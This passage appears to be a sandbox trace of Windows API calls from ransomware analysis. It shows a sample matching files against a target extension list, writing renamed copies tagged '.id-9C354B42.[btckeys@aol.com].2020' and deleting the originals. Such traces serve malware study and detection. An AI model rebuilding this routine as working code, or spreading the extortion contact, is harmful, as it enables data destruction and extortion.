1 [0078.594] lstrlenW (lpString=".xlsx") returned 5 [0078.594] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0078.594] lstrlenW (lpString=".ppt") returned 4 [0078.594] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0078.594] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0078.594] lstrlenW (lpString=".zip") returned 4 [0078.594] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0078.594] lstrlenW (lpString=".rar") returned 4 [0078.594] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0078.594] lstrlenW (lpString=".bz2") returned 4 [0078.594] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0078.594] lstrlenW (lpString=".7z") returned 3 [0078.594] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0078.594] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0078.594] lstrlenW (lpString=".dbf") returned 4 [0078.594] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0078.594] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0078.594] lstrlenW (lpString=".1cd") returned 4 [0078.594] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0078.594] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0078.595] lstrlenW (lpString=".jpg") returned 4 [0078.595] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0078.595] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0078.595] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0078.595] lstrlenW (lpString=".doc") returned 4 [0078.595] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0078.595] lstrlenW (lpString=".docx") returned 5 [0078.595] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0078.595] lstrlenW (lpString=".pdf") returned 4 [0078.595] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0078.595] lstrlenW (lpString=".xls") returned 4 [0078.595] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0078.595] lstrlenW (lpString=".xlsx") returned 5 [0078.595] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0078.595] lstrlenW (lpString=".ppt") returned 4 [0078.595] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0078.595] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0078.595] lstrlenW (lpString=".zip") returned 4 [0078.595] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0078.595] lstrlenW (lpString=".rar") returned 4 [0078.595] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0078.595] lstrlenW (lpString=".bz2") returned 4 [0078.595] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0078.595] lstrlenW (lpString=".7z") returned 3 [0078.595] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0078.595] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0078.595] lstrlenW (lpString=".dbf") returned 4 [0078.595] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0078.595] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0078.595] lstrlenW (lpString=".1cd") returned 4 [0078.595] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0078.595] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0078.595] lstrlenW (lpString=".jpg") returned 4 [0078.596] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0078.596] lstrcmpiW (lpString1=".GIF", lpString2=".2020") returned 1 [0078.596] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0078.596] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0078.596] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=3479) returned 1 [0078.596] CloseHandle (hObject=0x1e0) returned 1 [0078.596] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif")) returned 0x20 [0078.596] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0078.596] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0078.597] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0078.597] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0078.597] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0078.604] GetLastError () returned 0x0 [0078.604] ReadFile (in: hFile=0x1e0, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0xd97, lpOverlapped=0x0) returned 1 [0078.674] WriteFile (in: hFile=0x1e4, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xda0, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xda0, lpOverlapped=0x0) returned 1 [0078.675] ReadFile (in: hFile=0x1e0, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0078.675] WriteFile (in: hFile=0x1e4, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xea, lpOverlapped=0x0) returned 1 [0078.675] SetEndOfFile (hFile=0x1e4) returned 1 [0078.675] CloseHandle (hObject=0x1e4) returned 1 [0078.675] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0078.675] SetEndOfFile (hFile=0x1e0) returned 1 [0078.676] CloseHandle (hObject=0x1e0) returned 1 [0078.676] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0078.677] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif")) returned 1 [0078.677] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0078.677] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0078.677] lstrlenW (lpString=".doc") returned 4 [0078.677] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0078.677] lstrlenW (lpString=".docx") returned 5 [0078.677] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0078.677] lstrlenW (lpString=".pdf") returned 4 [0078.677] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0078.677] lstrlenW (lpString=".xls") returned 4 [0078.677] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0078.677] lstrlenW (lpString=".xlsx") returned 5 [0078.677] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0078.677] lstrlenW (lpString=".ppt") returned 4 [0078.677] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0078.677] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0078.677] lstrlenW (lpString=".zip") returned 4 [0078.677] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0078.677] lstrlenW (lpString=".rar") returned 4 [0078.677] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0078.677] lstrlenW (lpString=".bz2") returned 4 [0078.677] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0078.677] lstrlenW (lpString=".7z") returned 3 [0078.678] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0078.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0078.678] lstrlenW (lpString=".dbf") returned 4 [0078.678] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0078.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0078.678] lstrlenW (lpString=".1cd") returned 4 [0078.678] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0078.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0078.678] lstrlenW (lpString=".jpg") returned 4 [0078.678] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0078.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0078.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0078.678] lstrlenW (lpString=".doc") returned 4 [0078.678] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0078.678] lstrlenW (lpString=".docx") returned 5 [0078.678] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0078.678] lstrlenW (lpString=".pdf") returned 4 [0078.678] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0078.678] lstrlenW (lpString=".xls") returned 4 [0078.678] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0078.678] lstrlenW (lpString=".xlsx") returned 5 [0078.678] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0078.678] lstrlenW (lpString=".ppt") returned 4 [0078.678] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0078.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0078.678] lstrlenW (lpString=".zip") returned 4 [0078.678] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0078.678] lstrlenW (lpString=".rar") returned 4 [0078.678] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0078.678] lstrlenW (lpString=".bz2") returned 4 [0078.678] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0078.678] lstrlenW (lpString=".7z") returned 3 [0078.678] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0078.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0078.679] lstrlenW (lpString=".dbf") returned 4 [0078.679] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0078.679] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0078.679] lstrlenW (lpString=".1cd") returned 4 [0078.679] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0078.679] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0078.679] lstrlenW (lpString=".jpg") returned 4 [0078.679] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0078.679] lstrcmpiW (lpString1=".GIF", lpString2=".2020") returned 1 [0078.679] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0078.679] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0078.679] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=2722) returned 1 [0078.679] CloseHandle (hObject=0x1e0) returned 1 [0078.680] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif")) returned 0x20 [0078.680] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0078.680] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0078.680] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0078.680] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0078.680] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0078.688] GetLastError () returned 0x0 [0078.688] ReadFile (in: hFile=0x1e0, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0xaa2, lpOverlapped=0x0) returned 1 [0078.692] WriteFile (in: hFile=0x1dc, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xab0, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xab0, lpOverlapped=0x0) returned 1 [0078.717] ReadFile (in: hFile=0x1e0, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0078.717] WriteFile (in: hFile=0x1dc, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xea, lpOverlapped=0x0) returned 1 [0078.717] SetEndOfFile (hFile=0x1dc) returned 1 [0078.717] CloseHandle (hObject=0x1dc) returned 1 [0078.718] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0078.718] SetEndOfFile (hFile=0x1e0) returned 1 [0078.719] CloseHandle (hObject=0x1e0) returned 1 [0078.719] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0078.719] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif")) returned 1 [0078.719] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0078.719] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0078.719] lstrlenW (lpString=".doc") returned 4 [0078.720] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0078.720] lstrlenW (lpString=".docx") returned 5 [0078.720] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0078.720] lstrlenW (lpString=".pdf") returned 4 [0078.723] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0078.723] lstrlenW (lpString=".xls") returned 4 [0078.725] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0078.725] lstrlenW (lpString=".xlsx") returned 5 [0078.725] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0078.725] lstrlenW (lpString=".ppt") returned 4 [0078.725] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0078.725] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0078.725] lstrlenW (lpString=".zip") returned 4 [0078.725] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0078.725] lstrlenW (lpString=".rar") returned 4 [0078.725] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0078.725] lstrlenW (lpString=".bz2") returned 4 [0078.725] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0078.725] lstrlenW (lpString=".7z") returned 3 [0078.725] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0078.725] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0078.726] lstrlenW (lpString=".dbf") returned 4 [0078.726] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0078.726] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0078.726] lstrlenW (lpString=".1cd") returned 4 [0078.726] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0078.726] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0078.726] lstrlenW (lpString=".jpg") returned 4 [0078.726] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0078.726] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0078.726] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0078.726] lstrlenW (lpString=".doc") returned 4 [0078.726] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0078.726] lstrlenW (lpString=".docx") returned 5 [0078.726] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0078.726] lstrlenW (lpString=".pdf") returned 4 [0078.726] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0078.726] lstrlenW (lpString=".xls") returned 4 [0078.726] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0078.726] lstrlenW (lpString=".xlsx") returned 5 [0078.726] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0078.726] lstrlenW (lpString=".ppt") returned 4 [0078.726] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0078.726] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0078.726] lstrlenW (lpString=".zip") returned 4 [0078.726] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0078.726] lstrlenW (lpString=".rar") returned 4 [0078.726] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0078.727] lstrlenW (lpString=".bz2") returned 4 [0078.727] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0078.727] lstrlenW (lpString=".7z") returned 3 [0078.727] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0078.727] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0078.727] lstrlenW (lpString=".dbf") returned 4 [0078.727] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0078.727] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0078.727] lstrlenW (lpString=".1cd") returned 4 [0078.727] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0078.727] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0078.727] lstrlenW (lpString=".jpg") returned 4 [0078.727] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0078.727] lstrcmpiW (lpString1=".PNG", lpString2=".2020") returned 1 [0078.727] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0078.727] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0078.728] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=43276) returned 1 [0078.729] CloseHandle (hObject=0x1e0) returned 1 [0078.729] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png")) returned 0x20 [0078.729] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0078.729] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0078.729] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0078.730] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0078.730] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0078.731] GetLastError () returned 0x0 [0078.731] ReadFile (in: hFile=0x1e0, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0xa90c, lpOverlapped=0x0) returned 1 [0078.736] WriteFile (in: hFile=0x1dc, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xa910, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xa910, lpOverlapped=0x0) returned 1 [0078.738] ReadFile (in: hFile=0x1e0, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0078.738] WriteFile (in: hFile=0x1dc, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xec, lpOverlapped=0x0) returned 1 [0078.738] SetEndOfFile (hFile=0x1dc) returned 1 [0078.739] CloseHandle (hObject=0x1dc) returned 1 [0078.739] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0078.739] SetEndOfFile (hFile=0x1e0) returned 1 [0078.740] CloseHandle (hObject=0x1e0) returned 1 [0078.740] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0078.740] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png")) returned 1 [0078.741] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0078.741] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0078.741] lstrlenW (lpString=".doc") returned 4 [0078.741] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0078.741] lstrlenW (lpString=".docx") returned 5 [0078.741] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0078.741] lstrlenW (lpString=".pdf") returned 4 [0078.741] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0078.741] lstrlenW 